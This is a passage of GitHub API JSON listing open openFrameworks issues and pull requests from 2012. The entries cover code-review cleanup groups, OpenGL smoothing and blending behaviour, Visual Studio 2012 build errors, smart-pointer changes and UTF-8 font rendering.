zero.","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T14:32:57Z","updated_at":"2012-09-06T14:32:57Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"inline ofVec2f& ofVec2f::average( const ofVec2f* points, int num )\n\nnum could come come in as zero.\nneed to check if zero and handle.\n\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/math/ofVec2f.h#L609-619"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1554","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1554/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1554/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1554/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1554","id":6689115,"number":1554,"title":"Group: Cleanup","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":35,"created_at":"2012-09-06T14:22:20Z","updated_at":"2012-09-06T21:23:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Cleanup includes anything that needs to just be removed or rearranged/moved around without changing the syntax or semantics of openFrameworks. For example: comment removal, or moving definitions around.\n\nThis is a group of issues identified during Code Review 2012. Add any relevant issues to this group, and when they are all closed we will close this issue. If an issue fits this pattern, but is more significant or not a simple fix, please add it as a separate issue."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1552","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1552/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1552/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1552/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1552","id":6688624,"number":1552,"title":"Group: Needs Comments","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":37,"created_at":"2012-09-06T14:02:39Z","updated_at":"2012-09-06T21:20:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Some chunks of openFrameworks need comments to describe their input/output range or the units of their output. This should generally be covered by the documentation, but if a function/method is especially ambiguous then it should have a single line of documentation. If a section has been commented out, it should also be explained why.\n\nThis is a group of issues identified during Code Review 2012. Add any relevant issues to this group, and when they are all closed we will close this issue. If an issue fits this pattern, but is more significant or not a simple fix, please add it as a separate issue."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1550","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1550/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1550/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1550/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1550","id":6688604,"number":1550,"title":"Group: Deprecated Code","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":23,"created_at":"2012-09-06T14:02:05Z","updated_at":"2013-02-22T14:51:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Deprecated code includes anything that shouldn't exist in a perfect openFrameworks code base.\n\nThis is a group of issues identified during Code Review 2012. Add any relevant issues to this group, and when they are all closed we will close this issue. If an issue fits this pattern, but is more significant or not a simple fix, please add it as a separate issue."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1549","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1549/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1549/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1549/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1549","id":6688593,"number":1549,"title":"Group: Weird Globals","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-09-06T14:01:45Z","updated_at":"2012-09-06T18:52:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Weird globals include anything that should be moved form a header to cpp file, or methods that are unnecessarily exposed, or functions that should be methods.\n\nThis is a group of issues identified during Code Review 2012. Add any relevant issues to this group, and when they are all closed we will close this issue. If an issue fits this pattern, but is more significant or not a simple fix, please add it as a separate issue."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1548","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1548/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1548/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1548/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1548","id":6688561,"number":1548,"title":"Group: Poor Abstraction Patterns","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":17,"created_at":"2012-09-06T14:01:02Z","updated_at":"2012-09-07T01:46:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A poor abstraction is when a method or data belongs to one class, but should belong to a sub or super or adjacent class.\n\nThis is a group of issues identified during Code Review 2012. Add any relevant issues to this group, and when they are all closed we will close this issue. If an issue fits this pattern, but is more significant or not a simple fix, please add it as a separate issue."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1547","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1547/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1547/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1547/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1547","id":6688551,"number":1547,"title":"Group: Naming Inconsistencies","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":77,"created_at":"2012-09-06T14:00:45Z","updated_at":"2012-09-13T16:23:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Naming inconsistencies are: poorly named methods, functions, constants, classes, and arguments.\n\nThis is a group of issues identified during Code Review 2012. Add any relevant issues to this group, and when they are all closed we will close this issue. If an issue fits this pattern, but is more significant or not a simple fix, please add it as a separate issue."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1546","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1546/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1546/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1546/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1546","id":6684509,"number":1546,"title":"Smoothing and additive blending","user":{"login":"sebleedelisle","id":110866,"avatar_url":"https://secure.gravatar.com/avatar/4ced05c7d50bae1a413798f9041aaa90?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4ced05c7d50bae1a413798f9041aaa90","url":"https://api.github.com/users/sebleedelisle","html_url":"https://github.com/sebleedelisle","followers_url":"https://api.github.com/users/sebleedelisle/followers","following_url":"https://api.github.com/users/sebleedelisle/following","gists_url":"https://api.github.com/users/sebleedelisle/gists{/gist_id}","starred_url":"https://api.github.com/users/sebleedelisle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sebleedelisle/subscriptions","organizations_url":"https://api.github.com/users/sebleedelisle/orgs","repos_url":"https://api.github.com/users/sebleedelisle/repos","events_url":"https://api.github.com/users/sebleedelisle/events{/privacy}","received_events_url":"https://api.github.com/users/sebleedelisle/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-09-06T10:27:43Z","updated_at":"2012-11-14T23:45:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi guys! \n\nI'm not sure why but as soon as you enable smoothing, additive blending is disabled. In fact I think someone on the team is also unsure - see the comment \"why do we need this?\" in libs/openFrameworks/gl/ofGLRenderer.cpp :) \n```c++\n//----------------------------------------------------------\nvoid ofGLRenderer::startSmoothing(){\n\t#ifndef TARGET_OPENGLES\n\t\tglPushAttrib(GL_COLOR_BUFFER_BIT | GL_ENABLE_BIT);\n\t#endif\n\n\tglHint(GL_LINE_SMOOTH_HINT, GL_NICEST);\n\tglEnable(GL_LINE_SMOOTH);\n\n\t//why do we need this?\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n}\n```\n\nI commented it out and it seemed to work OK, but I'm sure there are other repercussions. But it would be nice to have smoothing and blendmodes. \n\ncheers\nSeb\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1544","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1544/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1544/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1544/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1544","id":6645610,"number":1544,"title":"pointer troubles in vs2012","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":5,"created_at":"2012-09-04T20:40:11Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm getting a whole zoo of pointer errors compilng oF with vs2012\nnasty stuff. you can use the vs2010 sdk (v100) with vs2012 (v120)\nbut the only advertised way of doing this is by installing vs2010\n\nerrors at\nhttps://gist.github.com/3626201\n\nnot sure what's going here but just flagging it to start with"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1541","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1541/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1541/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1541/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1541","id":6637558,"number":1541,"title":"fixes ofPtr","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":3,"created_at":"2012-09-04T15:25:29Z","updated_at":"2013-03-11T07:50:07Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1541","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1541.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1541.patch"},"body":"adds non-explicit constructor from shared_ptr so it can be used as one + imports everything related to smart pointers from std::tr1 into std:: so the syntax is clearer"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1539","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1539/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1539/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1539/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1539","id":6621962,"number":1539,"title":"ofTrueTypeFont support for iso8859-1 on utf-8 encoded files","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":9,"created_at":"2012-09-03T20:21:29Z","updated_at":"2013-01-26T14:59:43Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1539","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1539.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1539.patch"},"body":"ofTrueTypeFont as it is right now has support for all the characters in iso8859-1 if the flag bFullCharacterSet is set to true when loading, which can render all the extended characters in the latin alphabet like ñàäáâç... \n\nthe problem is that most IDEs use utf-8 encoding by default so when writing this characters in strings in the code or text files they fail to render because the encoding freetype is expecting is iso8859-1.\n\nthis converts utf-8 to iso8859-1 which solves the problem of rendering special characters for the latin alphabet. might be good to test in code from other ide's in case the default encoding is not utf-8"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1527","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1527/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1527/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1527/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1527","id":6581728,"number":1527,"title":"ofGetGLTypeFromPixelFormat error ? ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":0,"created_at":"2012-08-31T15:26:32Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"@arturoc is this an error? shouldn't it return GL_BGRA ? \n\n\tinline int ofGetGLTypeFromPixelFormat(ofPixelFormat pixelFormat){\n\t\tswitch(pixelFormat){\n\t\tcase OF_PIXELS_BGRA:\n\t\t\treturn GL_RGBA;\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1524","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1524/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1524/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1524/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1524","id":6559975,"number":1524,"title":"Adding support for ScaleGestureDetector on 